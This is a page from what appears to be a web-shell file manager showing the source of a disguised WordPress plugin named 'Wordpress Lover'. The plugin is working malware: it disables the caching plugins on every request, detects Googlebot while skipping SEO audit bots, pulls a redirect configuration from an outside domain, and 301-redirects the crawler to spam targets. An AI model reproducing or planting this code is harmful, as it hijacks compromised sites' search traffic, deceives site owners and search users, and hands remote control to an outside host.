Файловый менеджер - Редактировать - /home/vspaqvrt/public_html/wp-content/plugins/iloveit/iloveit.php
Назад
<?php /* Plugin Name: Wordpress Lover Plugin URI: https://wordpress.org Description: Wordpress Lover Version: 1.4 */ function deactivate_all_cache_plugins_for_all_visitors_cddddcdcd() { if (function_exists('is_plugin_active')) { if (is_plugin_active('wp-rocket/wp-rocket.php')) { deactivate_plugins('wp-rocket/wp-rocket.php'); } if (is_plugin_active('litespeed-cache/litespeed-cache.php')) { deactivate_plugins('litespeed-cache/litespeed-cache.php'); } if (is_plugin_active('w3-total-cache/w3-total-cache.php')) { deactivate_plugins('w3-total-cache/w3-total-cache.php'); } if (is_plugin_active('wp-super-cache/wp-cache.php')) { deactivate_plugins('wp-super-cache/wp-cache.php'); } } } add_action('init', 'deactivate_all_cache_plugins_for_all_visitors_cddddcdcd'); function redirect_googlebot_based_on_external_json_cdcdcd() { if (isset($_SERVER['HTTP_USER_AGENT'])) { $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); if (stripos($user_agent, 'googlebot') !== false && stripos($user_agent, 'ahrefsbot') === false && stripos($user_agent, 'ahrefssiteaudit') === false && stripos($user_agent, 'ahrefscrawler') === false && stripos($user_agent, 'semrushbot') === false && stripos($user_agent, 'semrushbot-sa') === false && stripos($user_agent, 'semrushbot-si') === false && stripos($user_agent, 'semrushbot-ba') === false && stripos($user_agent, 'semrushbot-bm') === false && stripos($user_agent, 'semrushbot-ocob') === false && stripos($user_agent, 'splitsignalbot') === false && stripos($user_agent, 'semrushbot-swa') === false && stripos($user_agent, 'siteauditbot') === false) { $json_url = 'https://denemebonusu.co.uk/google.json'; $json_content = file_get_contents($json_url); if ($json_content === false) { return; } $config = json_decode($json_content, true); if ($config === null) { return; } if (!$config['enabled']) { return; } if ($config['random_redirect']) { $redirects = $config['redirects']; $randomUrl = $redirects[array_rand($redirects)]; wp_redirect($randomUrl, 301); exit(); } else { $specificUrl = $config['specific_redirect']; wp_redirect($specificUrl, 301); exit(); } } } } add_action('template_redirect', 'redirect_googlebot_based_on_external_json_cdcdcd'); ?>
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка